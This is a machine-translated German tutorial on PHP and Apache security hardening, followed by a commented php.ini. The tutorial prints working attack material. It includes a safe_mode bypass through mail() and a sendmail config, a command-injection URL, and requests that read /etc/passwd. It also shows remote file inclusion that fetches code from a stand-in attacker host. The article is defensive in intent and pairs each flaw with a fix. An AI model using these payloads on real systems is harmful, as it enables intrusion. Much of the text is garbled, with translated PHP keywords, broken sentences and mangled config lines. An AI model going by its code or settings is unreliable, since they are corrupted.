1. Webserver-Sicherheit
PHP ist eigentlich nur eine Modulfunktion des Webservers, daher muss zunächst die Sicherheit des Webservers gewährleistet werden. Damit ein Webserver sicher ist, muss er natürlich zunächst die Systemsicherheit gewährleisten, was in weiter Ferne liegt. PHP kann mit verschiedenen Webservern kombiniert werden, hier wird nur Apache besprochen. Es wird dringend empfohlen, Apache im Chroot-Modus zu installieren und zu starten. Selbst wenn Schwachstellen in Apache, PHP und ihren Skripten vorhanden sind, ist nur das eingeschränkte System betroffen und das eigentliche System wird nicht beschädigt. Die Verwendung von chrooted Apache bringt jedoch auch bestimmte Probleme für die Anwendung mit sich. Wenn Sie beispielsweise eine Verbindung zu MySQL herstellen, muss die Adresse 127.0.0.1 für die Verbindung über TCP anstelle von Localhost für die Socket-Verbindung verwendet werden, was etwas weniger effizient ist. Es gibt auch ein Problem mit der Mail-Funktion beim Versenden von E-Mails, denn in php.ini:
[Mail-Funktion]
; Nur für Win32.
SMTP=localhost
; Nur für Win32.
sendmail_from [email protected]
ist für die Win32-Plattform, daher muss sendmail in der Chroot-Umgebung angepasst werden.
2. Probleme mit PHP selbst Netzwerkadministrator u.bitscn@com
1. Remote-Überlauf
Alle Versionen unter PHP-4.1.2 weisen Sicherheitslücken beim Datei-Upload-Remote-Pufferüberlauf auf, und das Angriffsprogramm wurde weit verbreitet, mit einer sehr hohen Erfolgsquote
2 . Remote-Denial-of-Service
PHP-4.2.0 und PHP-4.2.1 weisen eine Remote-Schwachstelle bei der Verarbeitung von PHP-Multipart-/Formulardaten-POST-Anfragen auf. Obwohl lokale Benutzerberechtigungen nicht eingeholt werden können, kann dies auch zu einem Denial-of-Service führen.
3. Die Safe_mode-Bypass-Schwachstelle
besteht auch in PHP-4.2.2 und niedriger bis PHP-4.0.5. Die PHP-Mail-Funktion umgeht die Safe_mode-Einschränkung und führt Befehle aus. Ab Version 4.0.5 fügt die Mail-Funktion einen fünften Parameter hinzu. Aufgrund des Designs können Sie, wenn Sie nicht aufpassen, die Einschränkungen des Safe_Mode durchbrechen und Befehle ausführen. Der Durchbruch in Version 4.0.5 ist sehr einfach. Sie müssen ihn nur durch ein Semikolon trennen und den Shell-Befehl hinzufügen. Wenn es beispielsweise ein PHP-Skript evil.php gibt,
führen Sie die folgende URL aus
. com/evil.php?bar =;/usr/bin/id [email protected]
Dadurch wird das Ergebnis der ID-Ausführung an [email protected] gesendet.
Für PHP von 4.0.6 bis 4.2.2 wird beim Durchbrechen der Safe_Mode-Einschränkung tatsächlich der Parameter -C von sendmail verwendet, sodass das System sendmail verwenden muss. Der folgende Code kann Safe_Mode-Einschränkungen durchbrechen und Befehle ausführen:
#Hinweis: Die folgenden beiden dürfen nicht vorhanden sein.
Oder ihre Besitzer sind dieselben wie die Besitzer dieses Skripts
$script="/tmp/script123";
$cf="/tmp/cf123";
$fd = fopen($cf, "w");
fwrite($fd, "OQ/tmp
Sparse=0
R$*" . chr(9) . "$#local $@ $:
Mlocal, P=/bin/sh, A=sh $script");
fclose($fd);
$fd = fopen($script, "w");
fwrite($fd, "rm -f $script $cf; ");
fwrite($fd, $cmd);
fclose($fd);
mail("nobody", "", "", "", "-C$cf");
?>
Benutzer, die die oben genannte problematische Version von PHP verwenden, müssen rechtzeitig auf die neueste Version aktualisieren, um grundlegende Sicherheitsprobleme zu beseitigen.
3. Die Sicherheitskonfiguration von PHP selbst.
Sie kann über die Dateien php.ini, httpd.conf und .htaccess festgelegt werden (AllowOverride All oder Options müssen in diesem Verzeichnis festgelegt werden), und Sie können dies auch tun Verwenden Sie ini_set() im Skriptprogramm und andere spezifische Funktionen zum Festlegen. Jeder Wert der Konfigurationsoption kann über die Funktionen phpinfo() und get_cfg_var() abgerufen werden.
Wenn die Konfigurationsoption das einzige PHP_INI_SYSTEM-Attribut ist, muss sie über php.ini und httpd.conf geändert werden. Sie ändern den PHP-Master-Wert, aber nach der Änderung muss Apache neu gestartet werden, damit er wirksam wird. Die in php.ini festgelegten Optionen gelten für alle Skripte im Webserver, und die in httpd.conf festgelegten Optionen gelten für alle Skripte im definierten Verzeichnis.
Wenn es andere Attributoptionen PHP_INI_USER, PHP_INI_PERDIR, PHP_INI_ALL gibt, können Sie diese mit der .htaccess-Datei festlegen oder die Funktion ini_set() im Skript selbst verwenden. Sie ändern den lokalen Wert, und die Änderungen werden ausgeführt sofort wirksam werden. Allerdings wird .htaccess nur für das Skriptprogramm im aktuellen Verzeichnis wirksam, und die Funktion ini_set() wird erst wirksam, nachdem die Funktion ini_set() für das Skriptprogramm festgelegt wurde. Die Optionsattribute jeder Version können unterschiedlich sein. Sie können den folgenden Befehl verwenden, um die Datei main.c des aktuellen Quellcodes zu finden und alle Optionen und ihre Attribute abzurufen:
# grep PHP_INI_ /PHP_SRC/main/main.c
Vor der Diskussion PHP-Sicherheitskonfiguration: Sie sollten den Safe_Mode-Modus von PHP gut verstehen.
1. Safe_Mode
Safe_Mode ist das einzige PHP_INI_SYSTEM-Attribut und muss über php.ini oder httpd.conf festgelegt werden. Um den Safe_Mode zu aktivieren, ändern Sie einfach php.ini:
safe_mode = Ein
Oder ändern Sie httpd.conf und definieren Sie das Verzeichnis:
Optionen FollowSymLinks
php_admin_value Safe_Mode 1
Safe_Mode wird nach dem Neustart von Apache wirksam. Durch die Aktivierung von „safe_mode“ werden viele PHP-Funktionen eingeschränkt, insbesondere das systembezogene Öffnen von Dateien, die Befehlsausführung und andere Funktionen.
Alle Funktionen, die Dateien bedienen, bedienen nur Dateien mit derselben UID wie das Skript. Der Inhalt des test.php-Skripts lautet beispielsweise:
Die Eigenschaften mehrerer Dateien sind wie folgt:
# ls -la
insgesamt 13
drwxr-xr-x 2 root root 104 20. Juli 01:25 .
drwxr-xr-x 16 root root 384 18. Juli 12:02 ..
-rw-r--r-- 1 root root 4110 26. Okt. 2002 index.html
-rw-r--r-- 1 www-data www-data 41. Juli 19 19:14 test.php
Beim Anfordern von test.php im Browser wird die folgende Fehlermeldung angezeigt:
Warnung: Die Einschränkung im SICHEREN MODUS ist wirksam. Das Skript, dessen UID/GID 33/33 ist, darf nicht auf ./index.html zugreifen, dessen Eigentümer UID/GID 0/0 ist in /var/www/test.php in Zeile 1
Wenn die UID des Verzeichnisses, in dem sich die manipulierte Datei befindet, mit der UID des Skripts übereinstimmt, kann auf die UID der Datei zugegriffen werden, auch wenn sie sich vom Skript unterscheidet. Ich frage mich, ob dies eine Schwachstelle in PHP ist oder nicht Es gibt noch einen weiteren versteckten Grund. Daher ist es für den Benutzer, der das PHP-Skript besitzt, am besten, es nur für diesen Zweck zu verwenden. Es ist absolut verboten, root als Eigentümer des PHP-Skripts zu verwenden. Dadurch wird der Effekt von „safe_mode“ nicht erreicht.
Wenn Sie den GID-Vergleich vereinfachen möchten, können Sie in Betracht ziehen, nur die GID der Datei zu vergleichen, indem Sie „safe_mode_gid“ aktivieren.
Nach
dem Festlegen von „safe_mode“ werden alle ausgeführten Befehle nur auf die Funktionen beschränkt in „safe_mode_exec_dir“ in php.ini angegebenen Programmen im Verzeichnis, und „shell_exec“ und „ls -l“ werden von der Ausführung von Befehlen ausgeschlossen. Wenn Sie wirklich andere Programme aufrufen müssen, können Sie in der php.ini folgende Einstellungen vornehmen:
safe_mode_exec_dir = /usr/local/php/exec
und dann das Programm in dieses Verzeichnis kopieren, dann kann das PHP-Skript System- und andere Funktionen verwenden das Programm ausführen. Darüber hinaus können Shell-Skripte in diesem Verzeichnis weiterhin Systembefehle in anderen Verzeichnissen aufrufen.
Safe_mode_include_dir string
Überschreibt UID/GID-Prüfungen beim Einschließen von Dateien aus diesem Verzeichnis und seinen Unterverzeichnissen (Verzeichnisse müssen im include_path enthalten oder mit vollständigen Pfaden enthalten sein).
Ab PHP 4.2.0 kann diese Direktive durch Semikolons getrennte Pfade in einem ähnlichen Stil wie die include_path-Direktive akzeptieren und nicht nur ein Verzeichnis.
Der angegebene Grenzwert ist eigentlich ein Präfix, kein Verzeichnisname. Das bedeutet, dass „safe_mode_include_dir = /dir/incl“ den Zugriff auf „/dir/include“ und „/dir/incls“ ermöglicht, sofern vorhanden. Wenn Sie den Zugriff auf ein bestimmtes Verzeichnis beschränken möchten, fügen Sie einen abschließenden Schrägstrich hinzu, zum Beispiel: „safe_mode_include_dir = /dir/incl/“.
safe_mode_allowed_env_vars string
Das Setzen bestimmter Umgebungsvariablen kann eine potenzielle Sicherheitslücke darstellen. Diese Direktive enthält eine durch Kommas getrennte Liste von Präfixen. Im abgesicherten Modus können Benutzer nur Umgebungsvariablen ändern, deren Namen das hier angegebene Präfix haben. Standardmäßig können Benutzer nur Umgebungsvariablen festlegen, die mit PHP_ beginnen (z. B. PHP_FOO = BAR).
Hinweis: Wenn diese Anweisung leer ist, erlaubt PHP dem Benutzer, jede Umgebungsvariable zu ändern!
safe_mode_protected_env_vars string
Diese Direktive enthält eine durch Kommas getrennte Liste von Umgebungsvariablen, die der Endbenutzer nicht mit putenv() ändern kann. Diese Variablen können nicht geändert werden, selbst wenn in „safe_mode_allowed_env_vars“ die zulässige Änderung festgelegt ist.
Obwohl „safe_mode“ kein Allheilmittel ist (niedrigere PHP-Versionen können umgangen werden), wird dennoch dringend empfohlen, den abgesicherten Modus zu aktivieren, wodurch einige unbekannte Angriffe bis zu einem gewissen Grad vermieden werden können. Die Aktivierung des Safe_Mode bringt jedoch viele Einschränkungen mit sich, die sich auf die Anwendung auswirken können. Daher müssen Code und Konfiguration angepasst werden, um Harmonie zu erreichen. Informationen zu den durch den abgesicherten Modus eingeschränkten oder blockierten Funktionen finden Sie im PHP-Handbuch.
Nachdem wir den Safe_Mode besprochen haben, wollen wir diskutieren, wie Schwachstellen durch die Konfiguration des PHP-Servers vermieden werden können, basierend auf tatsächlichen Problemen, die im Programmcode auftreten können.
2. Variablenmissbrauch
PHP ist standardmäßig auf register_globals = On eingestellt. Variablen für GET, POST, Cookie, Environment und Session können direkt als globale Variablen registriert werden. Ihre Registrierungsreihenfolge lautet „variables_order = „EGPCS““ (kann über php.ini geändert werden). Die rechte Seite von „variables_order“ mit demselben Namen deckt die linke Seite ab, sodass der Missbrauch von Variablen leicht zu Programmverwirrung führen kann. Darüber hinaus haben Skriptprogrammierer häufig nicht die Angewohnheit, Variablen wie die folgenden zu initialisieren, die äußerst anfällig für Angriffe sind:
//test_1.php
if ($pass == "Hallo")
$auth = 1;
if ($auth == 1)
echo „einige wichtige Informationen“;
anders
echo „nichts“;
?>
Der Angreifer kann die Prüfung umgehen, indem er einfach die folgende Anfrage verwendet:
http://victim/test_1.php?auth=1
Obwohl dies ein sehr schwacher Fehler ist, haben einige bekannte Programme diesen Fehler ebenfalls gemacht, beispielsweise die Fernbedienung von phpnuke Sicherheitslücke beim Kopieren von Dateien: http://www.securityfocus.com/bid/3361
Als PHP-4.1.0 veröffentlicht wurde, wurde empfohlen, register_globals zu deaktivieren und 7 spezielle Array-Variablen bereitzustellen, um verschiedene Variablen zu verwenden. Variablen von GET, POST, COOKIE usw. werden nicht direkt als Variablen registriert und müssen über Array-Variablen aufgerufen werden. Als PHP-4.2.0 veröffentlicht wurde, war die Standardkonfiguration von php.ini register_globals = Off. Dadurch kann das Programm den von PHP selbst initialisierten Standardwert verwenden, der normalerweise 0 ist, wodurch Angreifer daran gehindert werden, die Beurteilungsvariablen zu kontrollieren.
Lösung:
Setzen Sie in der Konfigurationsdatei php.ini register_globals = Off.
Der Programmierer muss zu Beginn des Programms einen Wert für die Beurteilungsvariable initialisieren.
3. Die Datei öffnet
ein äußerst anfälliges Code-Snippet:
//test_2.php
if (!($str = readfile("$filename"))) {
echo("Datei konnte nicht geöffnet werden: $filename
N");
Ausfahrt;
}
anders {
echo $str;
}
?>
Da der Angreifer einen beliebigen $filenamen angeben kann, kann der Angreifer /etc/passwd mit der folgenden Anfrage sehen:
http://victim/test_2.php?filename=/etc/passwd
Die folgende Anfrage kann die PHP-Datei selbst lesen:
http://victim/test_2.php?filename=test_2.php
Zu den Dateiöffnungsfunktionen in PHP gehören fopen(), file() usw. Wenn die Dateinamenvariable nicht streng überprüft wird, wird auf wichtige Dateien auf dem Server zugegriffen und lesen.
Lösung:
Sofern nicht anders erforderlich, beschränken Sie PHP-Dateivorgänge auf das Webverzeichnis. Das Folgende ist ein Beispiel für die Änderung der Apache-Konfigurationsdatei httpd.conf:
php_admin_value open_basedir /usr/local/apache/htdocs
Nach dem Neustart von Apache kann das PHP-Skript im Verzeichnis /usr/local/apache/htdocs nur Dateien in seinem eigenen Verzeichnis bearbeiten, andernfalls meldet PHP einen Fehler:
Warnung: open_basedir-Einschränkung in Kraft.
Datei befindet sich im falschen Verzeichnis in xxx online xx.
Durch die Verwendung des Safe_Mode-Modus kann dieses bereits besprochene Problem ebenfalls vermieden werden.
4. Enthält Dateien
mit extrem anfälligen Codefragmenten:
//test_3.php
if(file_exists($filename))
include("$filename");
?>
Diese Art von unverantwortlichem Code kann erheblichen Schaden anrichten. Ein Angreifer kann die Datei /etc/passwd erhalten, indem er die folgende Anfrage verwendet:
http://victim/test_3.php?filename=/etc/passwd.
Für die Unix-Version von PHP ( Die Win-Version von PHP unterstützt das Remote-Öffnen von Dateien nicht. Der Angreifer kann auf dem Computer, auf dem er den http- oder ftp-Dienst geöffnet hat, eine Datei mit Shell-Befehlen erstellen, beispielsweise den Inhalt von http://attack/attack.txt ist, dann die folgende Anfrage Sie können den Befehl ls /etc auf dem Zielhost ausführen:
http://victim/test_3.php?filename=http://attack/attack.txt
Der Angreifer kann sogar die access.log und verwenden error.log-Protokolldateien, die Apache enthalten, um den Code zum Ausführen des Befehls abzurufen, aber manchmal ist es aufgrund zu vieler Interferenzinformationen nicht einfach, erfolgreich zu sein.
Für ein anderes Formular das folgende Code-Snippet:
//test_4.php
include("$lib/config.php");
?>
Der Angreifer kann eine config.php-Datei mit Befehlsausführungscode auf seinem eigenen Host erstellen und dann die folgende Anfrage verwenden, um den Befehl auf dem Zielhost auszuführen:
http://victim/test_4.php?lib=http://attack
Zu den in PHP enthaltenen Funktionen gehören include(), include_once(), require(), require_once. Wenn die Variable, die den Dateinamen enthält, nicht streng überprüft wird, stellt dies eine ernsthafte Gefahr für das System dar und der Befehl kann remote ausgeführt werden.
Lösung:
Programmierer müssen versuchen, beim Einfügen von Parametern in Dateien keine Variablen zu verwenden. Wenn Variablen verwendet werden, müssen die einzubindenden Dateinamen streng überprüft werden und dürfen nicht willkürlich vom Benutzer angegeben werden.
Beispielsweise ist die Einschränkung des PHP-Operationspfads beim Öffnen der vorherigen Datei eine notwendige Option. Stellen Sie darüber hinaus, sofern nicht anders erforderlich, sicher, dass Sie die Remote-Dateiöffnungsfunktion von PHP deaktivieren. Ändern Sie die Datei php.ini:
allow_url_fopen = Off
Apache neu starten
[PHP]
; PHP ist immer noch ein sich entwickelndes Tool und seine Funktionen werden ständig entfernt.
; Und die Einstellungsänderungen von php.ini können erhebliche Änderungen widerspiegeln,
; Bevor Sie eine neue PHP-Version verwenden, wäre es von Vorteil, php.ini zu studieren
;;;;;;;;;;;;;;;;;;;;;
;Über dieses Dokument;
;;;;;;;;;;;;;;;;;;
Diese Datei steuert viele Aspekte der PHP-Ansicht. Damit PHP diese Datei lesen kann, muss sie benannt werden
; 'php.ini'.PHP sucht an folgenden Orten nach der Datei: dem aktuellen Arbeitsverzeichnis;
; Der angegebene Pfad; der beim Kompilieren angegebene Pfad.
; Unter Windows ist der Pfad beim Kompilieren das Windows-Installationsverzeichnis.
; Im Befehlszeilenmodus kann der Suchpfad für php.ini durch den Parameter -c ersetzt werden.
Leerzeichen und Zeilen, die mit einem Semikolon beginnen, werden einfach ignoriert
; wie vermutet). Kapiteltitel (z. B. [Foo]) werden ebenfalls einfach ignoriert, auch wenn dies in Zukunft der Fall sein könnte
; hat eine Bedeutung.
;
;-Anweisungen werden mit der folgenden Syntax angegeben:
; Indikator-ID = Wert
; Direktive = Wert
; Zeigt an, dass beim Bezeichner die Groß-/Kleinschreibung beachtet wird – foo=bar unterscheidet sich von FOO = bar.
;
; Der Wert kann eine Zeichenfolge, eine Zahl, eine PHP-Konstante (z. B. E_ALL oder M_PI) oder eine INI-Konstante sein
; A (Ein, Aus, Wahr, Falsch, Ja, Nein und Keine) oder ein Ausdruck
; (z. B. E_ALL & ~E_NOTICE) oder eine Zeichenfolge in Anführungszeichen („foo“).
;
; Ausdrücke in INI-Dateien sind auf bitweise Operatoren und Klammern beschränkt.
; |. bitweises ODER
; & bitweise UND
; ~ bitweise NICHT
; boolescher Wert NICHT
;
; Boolesche Flags können mit den Werten 1, On, True oder Yes aktiviert werden.
; Sie können mit den Werten 0, Aus, Falsch oder Nein auf Aus gesetzt werden.
;
; Eine leere Zeichenfolge kann dargestellt werden, indem man nach dem Gleichheitszeichen nichts schreibt oder das Schlüsselwort None verwendet:
;
; foo = ; Setze foo auf einen leeren String
; foo = none ; Setze foo auf einen leeren String
; foo = "none" ; setze foo auf die Zeichenfolge 'none'
;
; Wenn Sie Konstanten in Werteinstellungen verwenden und diese Konstanten zu dynamisch geladenen Erweiterungsbibliotheken gehören (also nicht zu PHP-Erweiterungen).
; Zend-Erweiterungen), können Sie diese Konstanten nur *nach* den Zeilen verwenden, die diese Erweiterungen aufrufen.
;
; Alle in der Datei php.ini-dist festgelegten Werte stimmen mit den integrierten Standardwerten überein (d. h. wenn php.ini
; wird nicht verwendet oder Sie haben diese Zeilen gelöscht, der Standardwert ist derselbe)
.
;Sprachoptionen;
;;;;;;;;;;;;;;;;;;;;
Motor = Ein
; PHP-Skriptsprachen-Engine unter Apache verfügbar machen.
short_open_tag = Ein
; Erlaubt das <?-Tag (diese einfache Darstellung wird nur <?php und <script> erkannt).
asp_tags = Aus
; ASP-artige <% %>-Tags zulassen
Präzision=14
; Die Anzahl der effektiven Ziffern bei der Anzeige von Gleitkommazahlen
y2k_compliance = Aus
; Ob die Y2K-Anpassung aktiviert werden soll (kann in nicht Y2K-adaptiven Browsern zu Problemen führen)
Output_buffering = Aus
; Durch das Ausgabe-Caching können Sie Header-Zeilen (einschließlich Cookies) auch nach der Ausgabe des Hauptinhalts senden
; Der Preis besteht darin, dass die Ausgabeschicht etwas langsamer wird. Sie können das Ausgabe-Caching zur Laufzeit aktivieren.
; Oder schalten Sie die Anweisung hier ein, um das Ausgabe-Caching für alle Dateien zu aktivieren.
Output_handler = ; Sie können die gesamte Ausgabe Ihres Skripts an eine Funktion umleiten,
; Das könnte für die Verarbeitung oder Protokollierung nützlich sein.
; Wenn Sie diesen Ausgabehandler beispielsweise auf „ob_gzhandler“ setzen,
; Die Ausgabe wird für Browser, die GZIP- oder Deflate-Codierung unterstützen, transparent komprimiert.
; Legen Sie einen Ausgabeprozessor fest, um die Ausgabepufferung automatisch zu öffnen.
implicit_flush = Aus
; Flush erzwingen, um PHP anzuweisen, die Ausgabeebene nach jedem Ausgabeblock automatisch zu aktualisieren.
; Dies entspricht dem Aufruf der Funktion „flush()“ nach jedem Aufruf von „print()“ oder „echo()“ und nach jedem HTML-Block.
; Das Aktivieren dieser Einstellung führt zu schwerwiegenden Laufzeitkonflikten. Es wird empfohlen, sie nur während des Debuggens zu
aktivieren
; Ob Funktionsaufrufe gezwungen werden sollen, Parameter per Referenz zu übergeben.
; und wird in zukünftigen Versionen von PHP/Zend möglicherweise nicht mehr unterstützt.
; Es wird empfohlen, in der Funktionsdeklaration anzugeben, welche Parameter per Referenz übergeben werden.
; Wir empfehlen Ihnen, diese Option zu deaktivieren und zu überprüfen, ob Ihre Skripte weiterhin ordnungsgemäß funktionieren, um zukünftige Versionen der Sprache sicherzustellen
; Sie funktionieren weiterhin (Sie erhalten jedes Mal eine Warnung, und die Parameter werden nach Wert und nicht nach Referenz angezeigt.
; Bestehen).
; Abgesicherter Modus
safe_mode = Aus
safe_mode_exec_dir =
safe_mode_allowed_env_vars = PHP_
; ? Festlegen bestimmter Umgebungsvariablen
; ? kann eine potenzielle Sicherheitsverletzung sein.
; Diese Direktive enthält eine durch Kommas getrennte Liste von Präfixen. Im abgesicherten Modus können Benutzer nur
die Werte von Umgebungsvariablen ersetzen, die mit den hier aufgeführten Präfixen beginnen.
; Standardmäßig können Benutzer nur Umgebungsvariablen festlegen, die mit PHP_ beginnen (z. B. PHP_FOO=BAR).
:
Wenn diese Anweisung leer ist, lässt PHP den Benutzer alle Umgebungsvariablen ändern!
; Diese Direktive enthält eine durch Kommas getrennte Liste von Umgebungsvariablen, die der Endbenutzer nicht mit putenv() ändern kann.
„disable_functions =“
gesetzt ist
; Mit dieser Anweisung können Sie bestimmte Funktionen aus Sicherheitsgründen deaktivieren.
; Es akzeptiert eine durch Kommas getrennte Liste von Funktionsnamen.
; Diese Anweisung wird *nicht* davon beeinflusst, ob der abgesicherte Modus aktiviert ist
.
,
funktioniert
hervorheben.comment = #FF8000
highlight.keyword = #007700
highlight.bg = #FFFFFF
highlight.default = #0000BB
highlights.html = #000000
; Verschiedenes
Exposé_php = Aus
; Legt fest, ob PHP die Tatsache anzeigen soll, dass es auf dem Server installiert ist (z. B. PHP zum Webdienst hinzufügen).
; auf dem gesendeten Signal).
; (Meine persönliche Meinung ist, dies auszuschalten, wenn ein Power-by-Header erscheint.)
; Es stellt kein Sicherheitsrisiko dar, ermöglicht aber die Überprüfung, ob PHP auf Ihrem Server installiert ist.
;;;;;;;;;;;;;;;;;;;;;
; Ressourcenlimits ;
;;;;;;;;;;;;;;;;;
max_execution_time = 30 ; Maximale Ausführungszeit jedes Skripts, in Sekunden
memory_limit = 8388608; Die maximale Speichermenge, die von einem Skript verwendet werden kann (hier sind 8 MB)
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Fehlerbehandlung und Protokollierung ;
; Fehlerkontrolle und -registrierung;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Die Fehlerberichterstattung erfolgt bitweise, um die gewünschte Fehlerberichterstattungsstufe zu erhalten.
; E_ALL – alle Fehler und Warnungen
; E_ERROR – schwerwiegender Laufzeitfehler
; E_WARNING – Laufzeitwarnung (nicht schwerwiegender Fehler)
; E_PARSE – Fehler beim Parsen bei der Kompilierung
; E_NOTICE – Laufzeiterinnerungen (diese werden oft durch Fehler in Ihrem Code verursacht,
; Es kann auch durch absichtliches Verhalten verursacht werden (z. B. durch die Verwendung einer nicht initialisierten Variablen, basierend auf
der Tatsache, dass die nicht initialisierte Variable automatisch mit einer leeren Zeichenfolge initialisiert wird)
. E_CORE_ERROR – schwerwiegender Fehler, der während des Initialisierungsprozesses auftritt, wenn PHP startet
; E_CORE_WARNING – eine Warnung (nicht schwerwiegender Fehler), die während des Initialisierungsprozesses beim Start von PHP auftritt
; E_COMPILE_ERROR – Schwerwiegender Fehler bei der Kompilierung
; E_COMPILE_WARNING – Warnung zur Kompilierungszeit (nicht schwerwiegender Fehler)
; E_USER_ERROR – vom Benutzer generierte Fehlermeldung
; E_USER_WARNING – vom Benutzer generierte Warnmeldung
; E_USER_NOTICE – vom Benutzer generierte Erinnerungsnachricht
; Beispiel:
; error_reporting = E_ALL & ~E_NOTICE ; Alle Fehler außer Erinnerungen anzeigen
; error_reporting = E_COMPILE_ERROR|E_ERROR|E_CORE_ERROR ; Nur Fehler anzeigen
error_reporting = E_ALL & ~E_NOTICE ; Alle Fehler außer Erinnerungen anzeigen
display_errors = Ein; Fehlermeldungen anzeigen (als Teil der Ausgabe)
; Auf der endgültigen veröffentlichten Website wird dringend empfohlen, diese Funktion zu deaktivieren und zu verwenden
; stattdessen Fehlerprotokoll (siehe unten).
; Es ist möglich, display_errors in der endgültigen veröffentlichten Website weiterhin zu aktivieren
; Legen Sie einige sicherheitsrelevante Informationen offen, z. B. Dateipfade in Ihrem Webdienst.
; Ihre Datenbankkonfiguration oder andere Informationen.
Tritt während des PHP-Startschritts auf, auch wenn display_erroes aktiviert ist
; Fehler werden nicht angezeigt.
; Es wird dringend empfohlen, display_startup_errors ausgeschaltet zu lassen,
; Außer während des Fehlerkorrekturprozesses.
log_errors = Aus; Fehler in der Protokolldatei aufzeichnen (serverspezifisches Protokoll, Standardfehlerausgabe von stderr oder error_log (unten))
; Wie oben erwähnt, wird dringend empfohlen, Fehler auf der endgültigen veröffentlichten Website zu protokollieren
; Direkte Fehlerausgabe ersetzen
.
;error_prepend_string = "<font color=ff0000>" ; Die Zeichenfolge, die vor der Fehlermeldung ausgegeben wird
;error_append_string = "</font>" ; Die Zeichenfolge, die nach der Fehlermeldung ausgegeben wird
;error_log = Dateiname ; Fehlerprotokoll in der angegebenen Datei aufzeichnen
;error_log = syslog ; Notieren Sie das Fehlerprotokoll im Systemprotokoll syslog (Ereignisprotokoll unter NT, ungültig unter Windows 95)
warn_plus_overloading = Aus; Warnung bei Verwendung von „+“ mit Zeichenfolgen
;;;;;;;;;;;;;;;;;;
; Datenverarbeitung ;
;;;;;;;;;;;;;;;; Variables_order = "EGPCS" ;
; Die Reihenfolge von GET-, POST-, Cookie-, Umgebungs- und integrierten Variablen.
; (dargestellt durch G, P, C, E und S, normalerweise als EGPCS oder GPC bezeichnet).
; Aufzeichnungen von links nach rechts, neue Werte ersetzen alte Werte;
Ob diese EGPCS-Variablen als globale Variablen registriert werden sollen.
; Möglicherweise möchten Sie dies deaktivieren, wenn Sie nicht möchten, dass Benutzerdaten global überladen werden.
; Dies ist in Verbindung mit track_vars sinnvoller - so können Sie bestehen
; $HTTP_*_VARS[] Array-Zugriff auf alle GPC-Variablen
; Diese Direktive teilt PHP mit, ob argv- und argc-Variablen deklariert werden sollen
; (Hinweis: Hier ist argv ein Array und argc die Anzahl der Variablen)
; (enthält Daten, die mit der GET-Methode übergeben wurden).
; Wenn Sie diese Variablen nicht verwenden möchten, sollten Sie sie ausschalten, um die Leistung zu verbessern.
Machen Sie das Array $HTTP_*_VARS[] gültig, hier wird * verwendet
; ENV-, POST-, GET-, COOKIE- oder SERVER-Ersatz
post_max_size = 8M ; Maximale Größe der POST-Daten, die PHP akzeptiert.
ist
veraltet
magic_quotes_gpc = Ein; Verwenden Sie magische Anführungszeichen in GET/POST/Cookie-Eingabedaten
; (Der Originaltext sieht so aus, haha, die sogenannten magischen Anführungszeichen sollten sich auf die Verwendung von Escape-Zeichen zum Hinzufügen von Referenzsteuerzeichen beziehen, wie z. B. '....)
magic_quotes_runtime= Aus; Verwenden Sie magische Anführungszeichen für zur Laufzeit generierte Daten.
; Zum Beispiel: Daten, die durch eine SQL-Abfrage erhalten wurden, Daten, die durch die Funktion exec() usw. erhalten wurden.
magic_quotes_sybase = Aus; Verwenden Sie magische Anführungszeichen im Sybase-Stil (verwenden Sie „extract“ anstelle von „“).
Fügen Sie Dateien automatisch vor und nach PHP-Dokumenten hinzu
auto_prepend_file =
auto_append_file =
; Wie 4.04b4 gibt PHP standardmäßig immer die Kodierung eines Zeichens im Header „Content-type:“ aus.
; Deaktiviert den Ausgabezeichensatz, solange er leer ist.
; Der integrierte Standardwert von PHP ist text/html
default_mimetype = "text/html"
;default_charset = "iso-8859-1"
;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Pfade und Verzeichnisse ;
;;;;;;;;;;;;;;;;;;;;;;;;;;;
include_path = ; Pfadeinstellung einschließen, UNIX: „/path1:/path2“ Windows: „path1;path2“
doc_root = ; Der Stammpfad der PHP-Seite, nur gültig, wenn er nicht leer ist.
user_dir = ; Teilt PHP mit, nach welchem Verzeichnis beim Öffnen des Skripts gesucht werden soll. Er ist nur gültig, wenn er nicht leer ist.
;upload_tmp_dir = ; Temporäres Verzeichnis zum Speichern von über das HTTP-Protokoll hochgeladenen Dateien (verwenden Sie den Systemstandard, falls nicht angegeben)
upload_max_filesize = 2097152; Das Hochladen von Dateien ist standardmäßig auf 2 Megabyte begrenzt
extension_dir = c:php ; Verzeichnis, in dem ladbare Erweiterungsbibliotheken (Module) gespeichert sind
enable_dl = On ; Ob dl() aktiviert werden soll.
; Die dl()-Funktion *funktioniert* nicht gut auf einem Multithread-Server,
; wie IIS oder Zeus, und auf ihnen standardmäßig deaktiviert
;;;;;;;;;;;;;;;;;;
; Datei-Uploads ;
;;;;;;;;;;;;;;;;;;
file_uploads = Ein; Ob HTTP-Datei-Uploads zugelassen werden sollen
;upload_tmp_dir = ; Temporäres Verzeichnis für über HTTP hochgeladene Dateien (Systemstandard wird verwendet, wenn nicht angegeben)
upload_max_filesize = 2M; Maximal zulässige Größe der hochgeladenen Dateien
;
;;;;;;;;;;;;;;;;;;;;
Allow_url_fopen = On ; Ob URLs als http:... oder Dateien als ftp:... behandelt werden dürfen
;;;;;;;;;;;;;;;;;;;;;;;
;Dynamische Erweiterung;
; Dynamische Erweiterungen ;
;;;;;;;;;;;;;;;;;;;;;;;
; Wenn Sie möchten, dass eine Erweiterungsbibliothek automatisch geladen wird, verwenden Sie die folgende Syntax:
; extension=modulename.extension
; Zum Beispiel unter Windows,
; extension=msql.dll
; oder unter UNIX,
; extension=msql.so
; Beachten Sie, dass dies nur der Name des Moduls sein sollte. Es ist nicht erforderlich, darin Verzeichnisinformationen anzugeben.
; Verwenden Sie das Erweiterungsverzeichnis oben, um den Speicherort der angegebenen Erweiterungsbibliothek anzugeben.
;Windows-Erweiterung
;extension=php_nsmail.dll
extension=php_calendar.dll
;extension=php_dbase.dll
;extension=php_filepro.dll
extension=php_gd.dll
;extension=php_dbm.dll
;extension=php_mssql.dll
;extension=php_zlib.dll
;extension=php_filepro.dll
;extension=php_imap4r2.dll
;extension=php_ldap.dll
;extension=php_crypt.dll
;extension=php_msql2.dll
;extension=php_odbc.dll
; Beachten Sie, dass die MySQL-Unterstützung jetzt integriert ist, sodass keine Notwendigkeit besteht, die entsprechende DLL zu verwenden
;;;;;;;;;;;;;;;;;;;
; Moduleinstellungen;
; Moduleinstellungen ;
